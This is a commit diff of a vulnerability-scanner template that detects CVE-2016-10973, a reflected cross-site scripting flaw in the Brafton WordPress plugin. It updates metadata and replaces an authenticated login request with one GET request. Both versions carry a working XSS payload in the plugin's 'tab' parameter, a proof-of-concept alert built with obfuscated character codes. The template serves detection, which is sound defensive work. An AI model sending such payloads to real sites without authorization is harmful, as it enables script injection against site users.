updated req & info

http/cves/2016/CVE-2016-10973.yaml

@@ -1,7 +1,7 @@
 id: CVE-2016-10973
 
 info:
-  name: brafton WordPress Plugin <=3.4.7 - Reflected XSS
+  name: Brafton WordPress Plugin < 3.4.8 - Cross-Site Scripting
   author: Harsh
   severity: medium
   description: |
@@ -15,23 +15,14 @@ info:
     cve-id: CVE-2016-10973
     cwe-id: CWE-79
   metadata:
-    verified: true
-  tags: cve,cve2016,xss,brafton,reflected,auth
+    max-request: 1
+  tags: cve,cve2016,wordpress,wp,wp-plugin,xss,brafton
 
-requests:
-  - raw:
-      - |
-        POST /wp-login.php HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-admin/admin.php?page=BraftonArticleLoader&tab=alert(String.fromCharCode(77,101,104,114,100,97,100,76,105,110,117,120,32,88,83,83))"
 
-        log={{username}}&pwd={{password}}&wp-submit=Log+In
-
-      - |
-        GET /wp-admin/admin.php?page=BraftonArticleLoader&tab=alert(String.fromCharCode(77,101,104,114,100,97,100,76,105,110,117,120,32,88,83,83)) HTTP/1.1
-        Host: {{Hostname}}
-
-    cookie-reuse: true
     matchers:
       - type: dsl
         dsl: